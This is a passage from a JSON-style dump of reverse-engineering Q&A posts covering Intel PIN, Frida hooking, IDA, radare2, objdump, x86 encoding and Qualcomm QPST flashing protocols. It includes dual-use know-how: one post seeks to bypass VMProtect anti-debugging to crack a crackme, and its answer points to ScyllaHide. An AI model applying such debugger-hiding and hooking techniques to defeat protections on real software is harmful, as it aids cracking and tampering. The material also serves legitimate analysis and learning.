    According to the printf(), it looks like my register has been correctly modified to 0xccc, however when I checked the .txt trace, the register EDX is still left unmodified (0x0000137), and my modification is never taken into account in the trace... any idea ?:

    \n\n
    [I]      1016       0x8081049    and edx, 0x1fff                        81 e2 ff 1f 00 00\n[I]      1017       0x808104f    mov dword ptr [0x8086ae4], 0x4f0       c7 05 e4 6a 08 08 f0 04 00 00\n[W]      1017       0x808104f    0x8086ae4 size= 4 value=        0x000004f0  \n[I]      1018       0x8081059    mov dword ptr [0x8086ac0], edx         89 15 c0 6a 08 08\n[W]      1018       0x8081059    0x8086ac0 size= 4 value=        0x00000137  \n[I]      1019       0x808105f    mov dword ptr [0x8086db0], ecx         89 0d b0 6d 08 08\n[W]      1019       0x808105f    0x8086db0 size= 4 value=        0xa5879af8\n[I]      1020       0x8081065    lea ecx, ptr [edi-0x4]                 8d 4f fc\n
    \n", "Title": "Intel PIN (TracerPIN): adding modification of registers", "Tags": "|instrumentation|register|intel|", "Answer": "

    Here is my new callback prototype:

    \n\n
    if (ceip == 0x808104f) {  \n     string* dis = new string(INS_Disassemble(ins));  \n     INS_InsertPredicatedCall(ins, IPOINT_BEFORE, (AFUNPTR)changeReg,  \n     IARG_INST_PTR,  \n     IARG_REG_REFERENCE, REG_EDX,      \n     IARG_END);  \n}\n
    \n\n

    And changeReg() function:

    \n\n
    VOID changeReg (ADDRINT ip,  ADDRINT *edx) {   \n    *edx = 0x00000ccc;  \n    printf(\"EDX = %08x \\n\", (UINT32)*edx);   \n}\n
    \n" }, { "Id": "17835", "CreationDate": "2018-03-28T19:19:52.413", "Body": "

    I'm learning frida and trying to hook a function that looks like:

    \n\n
    `.method public final fn()[B`\n
    \n\n

    It returns a byte array. Here's my code:

    \n\n
    Java.perform(function () {\n    var test = Java.use(\"com...\");\n    test.fn.overload().implementation = function () {\n        var ret = this.fn();\n        console.log(\"how to write here?\");\n        return ret;\n    };\n});\n
    \n\n

    How to print the ret variable returned by the function? It's a byte[]. I tried console.log but it only prints a [object], and hexdump complains 'expected a pointer'. How can I print the array?

    \n", "Title": "print [B byte array in frida js script", "Tags": "|android|function-hooking|", "Answer": "

    Easy:

    \n
    var stringClass = Java.use("java.lang.String");\nvar stringInstance = stringClass.$new(ret);\nconsole.log('look = ' + stringInstance.toString())\n
    \n" }, { "Id": "17857", "CreationDate": "2018-03-30T16:37:10.927", "Body": "

    who faced with VMProtect? I just found on the Internet crackme and decided to grunt it, but unfortunately not that good of it did not work out, as the message about prevention of debugging climbed out. the whole point of the problem is to find out the constant password and I decided as usual I do in such cases turn off the anti-debugging and I'm looking for a password, so I put the check for the IsDebuggerPresent system functions, CheckRemoteDebuggerPresent and when they were called by the simply return value set 0, surprisingly did not help. Can you please tell us how to avoid debugger detection?

    \n\n

    P.S. Everything for the sole purpose of education

    \n", "Title": "VMProtect keygen, turn off the anti-debugging", "Tags": "|debugging|anti-debugging|x64dbg|virtual-machines|vmprotect|", "Answer": "

    You can use something like ScyllaHide to hide your debugger while you still don\u2018t know the method they use to detect you.

    \n" }, { "Id": "17872", "CreationDate": "2018-04-02T15:24:44.723", "Body": "

    I've open a DLL in IDA v7. In one subroutine, there is a PathAllocCombine() function. The pesudocode shows six arguments in it. But the documentations shows there are four arguments i.e. PathAllocCombine(PCWSTR, PCWSTR, unsigned long, PWSTR);

    \n\n

    The pseudocode is as follows:

    \n\n
    _QWORD *__fastcall sub_180040994(_QWORD *a1, __int64 a2, __int64 a3)\n{\n  _QWORD *v3; // rbx\n  signed int v4; // ST20_4\n  unsigned int v5; // eax\n  void *retaddr; // [rsp+38h] [rbp+0h]\n\n  v3 = a1;\n  v4 = 1;\n  *a1 = 0i64;\n  v5 = PathAllocCombine(a2, a3, 1i64, a1, v4, -2i64);\n  if ( (v5 & 0x80000000) != 0 )\n  {\n    sub_18000A7A4(retaddr, 106i64, \"unknown.cpp\", v5);\n    JUMPOUT(*(_QWORD *)&byte_1800409F9);\n  }\n  return v3;\n}\n
    \n\n

    And here is the graph view of that subroutine (conditional jump is removed):

    \n\n

    \"PathAllocCombine_call\"

    \n\n

    So, is this an internal bug in IDA? Or am I doing anything wrong?

    \n", "Title": "Why does IDA show wrong function arguments in pseudocode?", "Tags": "|ida|disassembly|", "Answer": "

    Thanks @anton-kukoba for the tip. I've resolved my issue and here is my procedure.

    \n\n

    Right click on the PathAllocComnbine() function in pseudocode mode and choose \"Set Item Type\". Then add the function as follows (remove all the SAL and variable names):

    \n\n
    HRESULT PathAllocCombine(PCWSTR, PCWSTR, unsigned long, PWSTR*);\n
    \n\n

    Now the pseudocode becomes as follows which contains four parameters:

    \n\n
    _QWORD *__fastcall sub_180040994(_QWORD *a1, __int64 a2, __int64 a3)\n{\n  _QWORD *v3; // rbx\n  HRESULT v4; // eax\n  void *retaddr; // [rsp+38h] [rbp+0h]\n\n  v3 = a1;\n  *a1 = 0i64;\n  v4 = PathAllocCombine((PCWSTR)a2, (PCWSTR)a3, 1u, (PWSTR *)a1);\n  if ( v4 < 0 )\n  {\n    sub_18000A7A4(retaddr, 106i64, \"unknown.cpp\", (unsigned int)v4);\n    JUMPOUT(*(_QWORD *)&byte_1800409F9);\n  }\n  return v3;\n}\n
    \n" }, { "Id": "17874", "CreationDate": "2018-04-02T16:02:08.453", "Body": "

    I have an error message pop up on the screen every few seconds on a program.\nI would like to trace it back as to which function is calling the message box and why.

    \n\n

    I found the referenced string but how do I trace it back to who called the function?

    \n", "Title": "Trace back which function called the message box in x64dbg?", "Tags": "|x64dbg|", "Answer": "

    You can find this out by first running the program to the entry point to skip all of the boilerplate code, then go to the Symbols tab in x64Dbg, going to User32.dll and then filtering for the MessageBox functions. Place breakpoints on any functions with MessageBox in them and then run the program. Now, when MessageBox is called, the program will break and you can see where execution is.

    \n\n

    You can trace the caller by going to your CPU tab and right-clicking in there, now go to Search For -> All Modules -> Intermodules References.

    \n\n

    Now, you will see a bunch of function calls and at the bottom is a box where you can enter a filter term. Type in MessageBox and you will see where the program calls MessageBox and you can then double-click to jump there or right click for more options, place a breakpoint, etc...

    \n\n

    I've attached an example using printf but in your case, you will use MessageBox. Note, this will only be correct if the MessageBox function is the function being used to display the message. If there is another library imported, it could be another function but the process is still similar.

    \n\n

    \"enter

    \n" }, { "Id": "17892", "CreationDate": "2018-04-04T10:29:39.507", "Body": "

    How does Qualcomm's QPST work? Or what protocol/commands does QPST use? As I wanted to develop an app like it, I searched for AT commands. But I can't find out any AT commands that allows me access(read/write) my old phone's internal file system(firmware). Any helps like the name of the commands/protocols that QPST uses are appreciated.

    \n\n

    Or if my question is off-topic, where should I ask?

    \n", "Title": "How does QPST work and how can I make an app like it?", "Tags": "|firmware|embedded|kernel|", "Answer": "

    There is an open source project: openpst, which reimplements most functionality of the qpst tool.

    \n\n

    Some of the protocols used are:

    \n\n
      \n
    • diag - used to read nv memory, and switch to dload mode using kDiagDload.
      • \n
    • sahara - used by the primary bootloader in newer qualcomm chipsets
      • \n
    • dload, used by bootroms, and older chipsets.
      • \n
    • streaming dload - used by the flash loader.
      • \n
    • firehose - the xml style protocol used with rawprogram0.xml files.
      • \n
    \n\n
    \n\n

    Flashing usually works like this:

    \n\n
      \n
    • switch to dload mode, this will start the bootloader.
      • \n
    • upload the NPRG*.{hex,mbn} flash loader using the sahara protocol\n\n
        \n
      • the ENPRG* file is used for the emergency bootloader mode, launched when the bootrom cannot find a suitable primary bootloader in flash.
        • \n
      • \n
    • now talking to the NPRG loader, using the streaming dload protocol, upload and write binaries to flash.
      • \n
    \n\n

    Note that some manufacturers lock the bootrom, by fusing a specific certificate into the processor's One-time-programmable fuses. When this is the case, the bootrom will accept only specific binaries.

    \n\n

    A collection of suitable binaries can be found here

    \n" }, { "Id": "17893", "CreationDate": "2018-04-04T10:57:16.477", "Body": "

    Here is an example of a subroutine as pseudocode in IDA:

    \n\n
    HRESULT __stdcall func(PCWSTR name, PCWSTR command, BOOL folder, DWORD *pCode) {\n  _OWORD *v4;\n  __int128 v5, v12, v13;\n  __int64 v6;\n  HRESULT v11;\n  DWORD **v14;\n  PCWSTR v16, v17; BOOL v18; DWORD *v19;\n\n  v19 = pCode; v18 = folder; v17 = command; v16 = name;\n  v11 = 0x80004005;\n  *(_QWORD *)&v12 = &v11;\n  *((_QWORD *)&v12 + 1) = &v16;\n  *(_QWORD *)&v13 = &v17;\n  *((_QWORD *)&v13 + 1) = &v18;\n  v14 = &v19;\n  v4 = (_OWORD *)sub_1800050B4(40i64); //contains malloc\n  if ( v4 ) {\n    v5 = v13;\n    *v4 = v12;\n    v6 = (__int64)v14;\n    v4[1] = v5;\n    *((_QWORD *)v4 + 4) = v6;\n  }\n  function(v4);\n}\n
    \n\n

    It is easy to understand the pointer offsets with v12 and v13. But some subroutines have many more variables which is not easy to follow. So can I convert that pointer offsets to an array? And why IDA shows so many local variables?

    \n", "Title": "How to convert pointer and offsets to array in IDA?", "Tags": "|ida|disassembly|", "Answer": "

    IDA deals with optimized assembler generated by the compiler. In this case compiler definitely combined several values into 128-bit registers and several stack locations. IDA doesn't know what it was initially, it can only guess. So it uses the stack locations and registers as if they are the variables in the source code. To understand it better you should read about 'Stack Frame'.

    \n\n

    As for making the array, you should change the type of v12 variable to void * [4]. This is done via selecting v12 and pressing Y.

    \n" }, { "Id": "17910", "CreationDate": "2018-04-05T17:01:59.107", "Body": "

    Radare has a command pdc

    \n\n
    pdc   pseudo disassembler output in C-like syntax\n
    \n\n

    I'm curious to know how the plugin r2dec-js compares to pdc it seems like they do the same thing.

    \n", "Title": "How does r2dec compare to pdc?", "Tags": "|disassembly|radare2|", "Answer": "

    There is a huge difference between pdc and pdd (r2dec).

    \n\n
      \n
    • pdc provide a basic r2 pseudo code with some and it's mostly for x86/x64.
      • \n
    • pdd provides a more advance pseudo-C like code where the controlflow, instructions, delayed branches, etc.. have been analyzed and tries to provide some slightly more readable code to the user.
      • \n
    \n\n

    pdd is only available after installing r2dec from r2pm.

    \n" }, { "Id": "17911", "CreationDate": "2018-04-06T09:13:19.870", "Body": "

    The motivation for this question is that I used JetBrains dotPeek to decompile an .exe written in F#, but the output project directory produced C# code.

    \n\n

    Why does decompiling an F# assembly produce C# code?

    \n\n

    I know that both languages get JIT-compiled from MSIL to native code, which may make it difficult to definitively say what the original language was.

    \n\n

    Despite this, are there reliable methods for distinguishing C# binaries from F# ones via static analysis? Dynamic analysis?

    \n", "Title": "How to tell if a particular .NET assembly was written in C# or F#?", "Tags": "|decompilation|.net|c#|", "Answer": "
    \n

    Why does decompiling an F# assembly produce C# code?

    \n
    \n\n

    It doesn't. It produces IL code which then can be interpreted as C#, F# or VB.NET. dotPeek doesn't allow you to use any other language for previewing but for example dnSpy, ILSpy allow you to pick your favourite one. Just wondering if there's any tools that allows F#. Not sure/haven't seen one.

    \n\n
    \n

    Despite this, are there reliable methods for distinguishing C# binaries from F# ones via static analysis? Dynamic analysis?

    \n
    \n\n

    There are some hints that can guide you. Check the references. If something is referencing the FSharp.Core then probably was written in F#. On the other hand if it doesn't probably it was not :)

    \n\n

    F#'s dlls usually have a lot of attributes put on classes like [FSharpInterfaceDataVersion] or [CompilationMappingAttribute] being used. Check them.

    \n\n

    There's one more thing. F# compiler is capable of using a tail-recursion by generating tailcall opcode which is not the case with C# (at least for now). That could be an indicator. But it could be also manually crafted to use it after being written completely in C#.

    \n" }, { "Id": "17915", "CreationDate": "2018-04-06T13:19:08.270", "Body": "

    Reverse an .apk file following This Article

    \n\n
      \n
    1. Open ApkStudio, edit AndroidManifest.xml to allow debug and Build a new Apk file
      2. \n
    2. Got source code with dex2jar and jd-gui
      3. \n
    3. Create an project in Android Studio
      4. \n
    4. Put source code into the project folder
      5. \n
    5. install the apk in an Emulator
      6. \n
    6. run the app and start Attach Debugger in Android Studio
      7. \n
    \n\n

    Breakpoints successfully reached, but got no debug information with a Source Code does not match bytecode warning.

    \n\n

    What's wrong with my operations?

    \n", "Title": "Got `Source Code does not match bytecode` debug a Reversed Android app", "Tags": "|disassembly|debugging|android|", "Answer": "

    The source code you got is not a perfect match, it is representative. You will likely want to debug in smali, not Java. The smali plugin for AndroidStudio works really well for this.

    \n" }, { "Id": "17922", "CreationDate": "2018-04-07T04:00:30.983", "Body": "

    For ELF files, there is a field near the start of the ELF header that indicates the endianness of the file:e_ident[EI_DATA]. If an application wants to extract data from the header of a given ELF binary, this field can be used to know whether endianness adjustments are needed for extracted integer values.

    \n\n

    Is there an equivalent process for determining the endianness of a given PE file, or is it safe to assume that all PE files will use little endianness for stored integer values?

    \n\n

    The majority of PE files encountered will likely be compiled for x86 or x86_64 (and, thus, will use little endianness), but the question arises for PE files built for Windows on ARM / ARM64, since many ARM processors have big endian and little endian modes of operation. Also, this article implies that Windows supports/supported running on other architectures like MIPS as well, which may have supported big endianness also.

    \n", "Title": "Determining endianness of PE files (Windows on ARM?)", "Tags": "|arm|pe|", "Answer": "

    Windows platforms have a fixed endianness and do not support running different endianness files. The file format itself uses always little-endian fields.

    \n\n

    AFAIK the only Windows platform supporting big-endian was the Xbox 360 (aka Xenon), which can be identified by the machine value 0x01F2 (not publicly documented but probably defined as IMAGE_FILE_MACHINE_PPCBE in source headers). Such files use little-endian headers but contain big-endian instructions and data.

    \n\n

    All other Windows platforms (even earlier MIPS and PowerPC NT versions) only supported little-endian configurations.

    \n\n

    In addition, the Windows on ARM aka Windows RT platform (ARMv7, IMAGE_FILE_MACHINE_ARMNT=0x01c4) only officially supports Thumb mode instructions. (earlier Windows CE releases supported classic ARM mode too).

    \n" }, { "Id": "17930", "CreationDate": "2018-04-08T20:07:33.243", "Body": "

    I am using IDA Pro 6 and I'm looking for a way to automatically export an analysed file into a listing (.lst) file.

    \n\n

    The interface of IDA enables to do this action using the menu File > Produce File > Create LST file..., but I could not find a way to execute this action in batch mode (by running IDA in a terminal with the -B). The Hex-Rays's help page does not seem to help, as I'm unable to find a switch that matches my needs.

    \n\n

    Is there any way I could get the listing out of IDA in an automated way ? Maybe with a IDC/Python script ?

    \n\n

    A typical listing I would need is composed of the address location, bytes and assembly for each instruction, such as below (the lines with only comments or variables declaration can be omitted if there is no other possibility):

    \n\n
    text:004016B0             ; =============== S U B R O U T I N E =======================================\n.text:004016B0\n.text:004016B0            ; Attributes: noreturn bp-based frame\n.text:004016B0\n.text:004016B0            ___report_gsfailure proc near       ; CODE XREF: __security_check_cookie(x):$failure$3j\n.text:004016B0\n.text:004016B0            var_324         = dword ptr -324h\n.text:004016B0            var_8       = dword ptr -8\n.text:004016B0            var_4       = dword ptr -4\n.text:004016B0\n.text:004016B0 8B FF                  mov     edi, edi\n.text:004016B2 55                 push    ebp\n.text:004016B3 8B EC                  mov     ebp, esp\n.text:004016B5 81 EC 24 03 00+            sub     esp, 324h\n.text:004016BB A3 40 21 40 00             mov     dword_402140, eax\n.text:004016C0 89 0D 3C 21 40+            mov     dword_40213C, ecx\n.text:004016C6 89 15 38 21 40+            mov     dword_402138, edx\n.text:004016CC 89 1D 34 21 40+            mov     dword_402134, ebx\n.text:004016D2 89 35 30 21 40+            mov     dword_402130, esi\n.text:004016D8 89 3D 2C 21 40+            mov     dword_40212C, edi\n
    \n", "Title": "IDA Pro - how to export a listing file in batch mode", "Tags": "|ida|disassembly|idapython|", "Answer": "

    contents of directory prior to test

    \n\n
    :\\>ls -l | awk \"{print $5 , $8}\"\n\n190 bldwmsgbox.bat\n175 dumplst.idc\n108 wmsgbox.cpp\n
    \n\n

    compiling and linking src

    \n\n
    :\\>bldwmsgbox.bat\n**********************************************************************\n** Visual Studio 2017 Developer Command Prompt v15.6.4\n** Copyright (c) 2017 Microsoft Corporation\n**********************************************************************\nwmsgbox.cpp\n
    \n\n

    contents of idc file

    \n\n
    :\\>cat dumplst.idc\n#include <idc.idc>\nstatic main(void) {\nauto fp;\nBatch(1);\nWait();\nfp = fopen(\"idclst.lst\",\"w\");\nGenerateFile(OFILE_LST,fp,MinEA(),MaxEA(),0x0);\nfclose(fp);\nExit(0);\n}\n
    \n\n

    automatic analysis and creation of lst file

    \n\n
    :\\>e:\\IDA_FREE_5\\idag.exe -B -Sdumplst.idc wmsgbox.exe\n
    \n\n

    deleting the idb and reopening the binary in gui to produce a lst file \nfrom file->produce file->create lst file

    \n\n
    :\\>del *.idb\n\n:\\>echo \"using gui file->producefile to make another lst for comparison\"\n\"using gui file->producefile to make another lst for comparison\"\n\n:\\>e:\\IDA_FREE_5\\idag.exe wmsgbox.exe\n\n:\\>ls -l *.lst | awk \"{print $5 , $8}\"\n16877 guiidclst.lst\n18617 idclst.lst\n\n:\\>wc -l *.lst\n  574 guiidclst.lst\n  580 idclst.lst\n 1154 total\n\n:\\>echo \"appears to be whitespace diff \njust 6 ines bigger but too much byte variation \nappears to be whitespace difference \"\n
    \n\n

    diff output ignoring whitespace and case

    \n\n
    :\\>diff -iw idclst.lst guiidclst.lst\n24d23\n< .text:00401000 ; IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII\n33d31\n< .text:00401000 ; UUUUUUUUUUUUUUU S U B R O U T I N E UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU\n66d63\n< .idata:00402000       ; IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII\n71,72c68\n< .idata:00402000                       extrn __imp__ExitProcess@4:dword ; DATA XREF: main+19\u2191r\n< .idata:00402000                                               ; ExitProcess(x)\u2191r\n---\n> .idata:00402000       extrn __imp__ExitProcess@4:dword\n78,79c74\n< .idata:00402008                       extrn __imp__MessageBoxA@16:dword ; DATA XREF: main+11\u2191r\n< .idata:00402008                                               ; MessageBoxA(x,x,x,x)\u2191r\n---\n> .idata:00402008       extrn __imp__MessageBoxA@16:dword\n82d76\n< .rdata:00402010       ; IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII\n90c84\n< .rdata:00402010       Caption         db 'test',0             ; DATA XREF: main+5\u2191o\n---\n> .rdata:00402010       Caption db 'test',0\n93c87\n< .rdata:00402018       Text            db 'test',0             ; DATA XREF: main+A\u2191o\n---\n> .rdata:00402018       Text db 'test',0\n\n:\\>\n
    \n" }, { "Id": "17931", "CreationDate": "2018-04-09T04:09:24.933", "Body": "

    I'm playing around with Hopper and am looking at the disassembly of a binary that otool reports as having the PIE flag.

    \n\n

    It's my understanding that as a result, the executable base address will be randomized, and so jumps have to be relative to the current instruction pointer.

    \n\n

    However, looking at the output of this PIE binary in Hopper, I see absolute jumps like so:

    \n\n
    00000001000021df    mov      rbx, rax\n00000001000021e2    test     rbx, rbx\n00000001000021e5    je       0x1000021c0\n
    \n\n

    Is Hopper just translating the relative jumps into an absolute jump assuming the text segment is loaded at the standard virtual address of 0x100000000, or am I missing something conceptual with regards to how position independent executables work?

    \n", "Title": "Why are there absolute jmps in disassembly of position independent code?", "Tags": "|assembly|osx|mach-o|macos|pie|", "Answer": "

    well megabeets was faster \nhere is how to check it in windbg

    \n\n
    0:000> ? .\nEvaluate expression: 1999570342 = 772f05a6\n0:000> EB . 74 D9\n0:000> U . L1\nntdll!LdrpDoDebuggerBreak+0x2c:\n772f05a6 74d9            je      ntdll!LdrpDoDebuggerBreak+0x7 (772f0581)\n0:000> ? 772F0581 - .\nEvaluate expression: -37 = ffffffdb\n0:000> ? 21E5-21C0\nEvaluate expression: 37 = 00000025\n0:000>\n
    \n" }, { "Id": "17946", "CreationDate": "2018-04-10T10:34:24.277", "Body": "

    I'm trying to play around with the Capstone Disassembler in C.

    \n\n

    In the documentation they show the following use of the cs_disasm() function:\nfrom here

    \n\n
    count = cs_disasm(handle, CODE, sizeof(CODE)-1, 0x1000, 0, &insn)\n
    \n\n

    The thing that bugs me is that 0x1000. In the documentation (source code actually) it says:

    \n\n
    \n

    @address: address of the first instruction in given raw code buffer.

    \n
    \n\n

    I can't really understand what does that really mean, because from what I understand the insn array is being dynamically allocated and filled, and that's where the instructions will reside (or are they?)

    \n\n

    Why is it a fixed value like 0x1000? is that actually address in the memory of the program? (isn't that an illegal address space for a C program to use?)

    \n\n

    Thanks in advance

    \n", "Title": "Capstone: What's the purpose of the 'address' argument in cs_disasm()?", "Tags": "|c|disassemblers|capstone|", "Answer": "

    that address is the virtual address you want to disassemble

    \n\n

    for example you have a relative jump

    \n\n

    the opcodes will be say 0x74 {imm } where {imm} is relative to the current address \neither in positive direction or in negative direction

    \n\n

    so if the current address is 0x1000 a relative jump with {5} imm from 0x1000 in positive direction should land you in in 0x1005

    \n\n

    if the address was 0x2000 it should land you in 0x2005

    \n\n

    that is the disassembly on the current line should state

    \n\n

    jmp 0x1005 or jmp 0x2005 etc etc

    \n\n

    if you do not give the address the disassembly will just say jmp 5

    \n\n

    here is a piece of similar python code

    \n\n
    Python 2.7 (32-bit) interactive window [PTVS 15.6.18072.2-15.0]\n\n>>> from capstone import *\n>>> CODE = b\"\\x74\\xd9\"\n>>> md = Cs(CS_ARCH_X86,CS_MODE_32)\n>>> for i in md.disasm(CODE , 0x1000):\n...     print(\"0x%x:\\t%s\\t%s\" %(i.address, i.mnemonic, i.op_str))\n... \n0x1000: je  0xfdb  <<<< (0x1000 - 0x25)\n\n>>> for i in md.disasm(CODE , 0x25):\n...     print(\"0x%x:\\t%s\\t%s\" %(i.address, i.mnemonic, i.op_str))\n... \n0x25:   je  0    <<<< (0x25 - 0x25) \n
    \n" }, { "Id": "17953", "CreationDate": "2018-04-10T15:22:24.037", "Body": "

    I want to do an analysis with the mnemonics. I can export everything to text but I only need the last column. Any idea on how can I solve this?
    \nIn other words of this output of objdump (objdump -d file)

    \n\n

    \"enter

    \n\n

    how can I only extract:

    \n\n
    lea \nlea\npush\nnop\nnop\nlea\nmov\nlea\n
    \n", "Title": "How can I export only the mnemonics from objdump (or any other program)?", "Tags": "|disassembly|malware|objdump|assembly|", "Answer": "

    getting start address

    \n\n
    objdump.exe -f calc.exe | grep start\nstart address 0x01012d6c\n
    \n\n

    arguments passed to objdump via @File syntax where @File is disopt.txt \ncontaining arguments as below

    \n\n
    C:\\>cat disopt.txt\n-d\n-M intel\n--no-show-raw-insn\n--start-address         0x1012d6c\n--stop-address          0x1012d8f\n
    \n\n

    C:>objdump.exe @disopt.txt c:\\Windows\\System32\\calc.exe | sed 1,7d | awk \"{print $2}\"

    \n\n
    call\npush\npush\ncall\nxor\nmov\nmov\nlea\npush\ncall\n
    \n\n

    sed to remove first 7 lines
    \nawk to print second column

    \n\n

    actual disassembly without stripping lines and columns

    \n\n
    C:\\>objdump.exe @disopt.txt c:\\Windows\\System32\\calc.exe\n\nc:\\Windows\\System32\\calc.exe:     file format pei-i386\n\n\nDisassembly of section .text:\n\n01012d6c <.text+0x11d6c>:\n 1012d6c:       call   0x1012abc\n 1012d71:       push   0x58\n 1012d73:       push   0x1012ee8\n 1012d78:       call   0x100c768\n 1012d7d:       xor    ebx,ebx\n 1012d7f:       mov    DWORD PTR [ebp-0x1c],ebx\n 1012d82:       mov    DWORD PTR [ebp-0x4],ebx\n 1012d85:       lea    eax,[ebp-0x68]\n 1012d88:       push   eax\n 1012d89:       call   DWORD PTR ds:0x100114c\n
    \n\n

    Edit To answer the comment about two mnemonic (the prefix operands like lock rep , repz , repnz etc )

    \n\n
    :\\>objdump --no-show-raw-insn -d calc.exe | awk \"{ if($2==\\\"lock\\\") {print $2,$3} }\"\nlock ja\nlock (bad)\nlock add\nlock xadd\n:\\>objdump --no-show-raw-insn -d calc.exe | awk \"{ if($2==\\\"rep\\\") {print $2,$3} }\"\nrep stos\nrep movsl\n
    \n" }, { "Id": "18004", "CreationDate": "2018-04-16T03:55:13.007", "Body": "

    Let's say I want to check this guys work. He says that he is getting

    \n\n
    8d 15 c8 90 04 08       lea    0x80490c8,%edx\nba c8 90 04 08          mov    $0x80490c8,%edx\n
    \n\n

    Is there an easy way with Radare to disassemble an user-provide byte-sequence like 8d 15 c8 90 04 08

    \n", "Title": "Can I provide bytes to Radare to be disassembled?", "Tags": "|disassembly|assembly|radare2|", "Answer": "

    use rasm2 - a x86,arm,ppc,whatever -b 16,32,64 -d \"de ad d0 0d\"

    \n" }, { "Id": "18007", "CreationDate": "2018-04-16T04:49:48.333", "Body": "

    When I disassemble this instruction using pad on Radare I get an LEA with rip

    \n\n
    [0x00000000]> pad 8d 15 c8 90 04 08\nlea edx, [rip + 0x80490c8]\n
    \n\n

    I got this instruction from this post here I'm confused though why the disassembly shows rip + 0x80490c8, when the original post claims it's the equivalent of mov? Is this the right disassembled output? Why would the instruction pointer be in the LEA? Is that an implicit base, or did the original poster make a mistake?

    \n", "Title": "Disassembly shows `LEA` with RIP?", "Tags": "|assembly|x86|radare2|", "Answer": "

    32-bit x86 has 2 redundant ways to encode [disp32] (with no registers): with and without a SIB byte. Assemblers will of course always use the shorter form, and that's what the link in your question is showing.

    \n\n

    You're disassembling as 64-bit machine code.

    \n\n

    x86-64 repurposed the without-SIB version to mean [RIP + rel32], leaving the longer with-SIB version to still mean [sign_extended_disp32] like when you use a disp32 with GP registers. (RIP-relative is not available combined with any GP registers; only this one specific ModR/M encoding.)

    \n\n

    In NASM syntax, [rel foo] vs. [abs foo], or use default rel.

    \n\n
    \n\n

    AFAIK, lea r32, [disp32] instead of mov r32, imm32 is never useful for performance on any CPU I'm aware of, except to make an instruction longer on purpose instead of padding with NOP.

    \n\n

    The only use-case for lea for static addresses is in 64-bit code with RIP-relative LEA.

    \n\n

    See this canonical answer for more about LEA, but really this question has nothing to do with LEA specifically, and would have happened with any instruction that used a disp32 ModR/M addressing mode decoded in the wrong mode. You only ran into this because you found an example that compared using an inefficient lea with an efficient mov-immediate in 32-bit mode.

    \n" }, { "Id": "18009", "CreationDate": "2018-04-16T05:08:40.507", "Body": "

    Megabeets determined in this answer that depending on asm.bits Radare may show either

    \n\n
    lea edx, [0x80490c8]         (asm.bits=32)\nlea edx, [rip + 0x80490c8]   (asm.bits=64)\n
    \n\n

    If I want to see what the byte-code would look like for lea edx, [0x80490c8] in x86_64, how would I go about getting that?

    \n", "Title": "Printing bytecode in bytes given a string of assembly for Radare to disassemble?", "Tags": "|assembly|x86|radare2|x86-64|", "Answer": "

    Actually, there is no lea edx, [0x80490c8] for 64-bits addressing modes. Since, afaik, in all 64-bits addressing modes lea is a register relative opcode.

    \n\n
    \n

    LEA - Load Effective Address
    \n Computes the effective address of the second operand (the\n source operand) and stores it in the first operand (destination\n operand). The source operand is a memory address (offset part)\n specified with one of the processors addressing modes; the destination\n operand is a general-purpose register.

    \n \n

    Source: Intel\u00ae 64 and IA-32 Architectures\n Software Developer\u2019s Manual

    \n
    \n\n
    \n\n

    Anyway, if you want to know the bytecodes that represent an instruction using radare2 you can use the pa command.

    \n\n

    In 32-bits mode it'll look like this:

    \n\n
    [0x00000000]> e asm.bits=32\n[0x00000000]> pa lea edx, [0x80490c8]\n8d15c8900408\n[0x00000000]> pad 8d15c8900408\nlea edx, [0x80490c8]\n
    \n\n

    In 64-bits mode it'll look like this:

    \n\n
    [0x00000000]> e asm.bits=64\n[0x00000000]> pa lea edx, [0x80490c8]\n488d15c8900408\n[0x00000000]> pad 488d15c8900408\nlea rdx, [rip + 0x80490c8]\n
    \n\n

    You can see that radare2 knows that lea edx, [0x80490c8] can't be expressed in 64bits so it uses a RIP relative expression.

    \n" }, { "Id": "18014", "CreationDate": "2018-04-16T17:44:03.363", "Body": "

    I am working on an application where we need to encrypt certain assets at compile time in Gradle. We then need to decrypt them with the same private key, so we are using a symmetric key system but we could go to an asymmetric system. The key issue is that we want to keep the keys in the APK somehow but store them securely. That way we don't have to make a server request for these private keys or a partner key in an asymmetric system. The APK file itself is fairly easy to reverse engineer and decompile, including the resources and the Java code.

    \n\n

    We are using a C library in our application, however. We are using a .so file of this library compiled for the ARM architecture. We use the SWIG interface from our application's main Java code to interact with this library. I am wondering if I can store the private keys in this library's source code and then access these keys via SWIG binding functions. I think this is the best solution for my problem because ARM .so files require a fancy commercial decompiler and knowledge of the ARM architecture to effectively reverse-engineer them. Thus making this method of getting the private keys pretty darn secure.

    \n", "Title": "Android- hiding private keys in .so file", "Tags": "|decompilation|c|android|apk|software-security|", "Answer": "

    Hiding the keys anywhere in the apk (including .so files) is definitely not enough to keep the keys secret for the long time. The code that can be executed definitely can be reverse engineered, and the key could be extracted - even without having fancy decompiler and knowing ARM architecture well (by the way, there is a non-commercial decompiler for arm32).

    \n\n

    I strongly suggest you to read something about white box cryptography and search for the solution in this specific area which was developed in order to solve this kind of problems.

    \n" }, { "Id": "18028", "CreationDate": "2018-04-18T13:40:37.820", "Body": "

    In this Superuser topic Windows 10 Media Creation Tool, how does it work?, it is possible to extract the URL from SetupMgr.dll. My question is, how do I extract this URL from SetupMgr.dll? I want to be able to do this in future versions of the Media Creation Tool.

    \n", "Title": "Decompile a DLL file from Microsoft Media Creation Tool", "Tags": "|dll|decompile|", "Answer": "

    Disclaimer: The following links are for Fall Creators Update and may be change in future updates.

    \n\n

    Download the Media Creation Tool from Microsoft website. Open the executable in 7ZIP and extract all the files in a folder. Then download Strings from Sysinternals and place it in that previous folder whre you've extracted files. Open Command Prompt in that folder and run this command:

    \n\n
    For /R %X in (*.*) do (Strings.exe %X) | find /i \"LinkID\"\n
    \n\n

    This command searches all the strings in all files recursively and shows the strings containing \"LinkID\" (piped to find /i). Open all the URLs in any browser and one of them (total 7 or 8 links) will download the Products.CAB or Products.XML file which contains all Windows ESD download links.

    \n\n

    Alternatively, extract the SetupMgr.dll file from MediaCreationTool.exe as above. Then open that DLL in IDA. Press Shift+F12 to open strings window and find LinkID. There will be two strings.

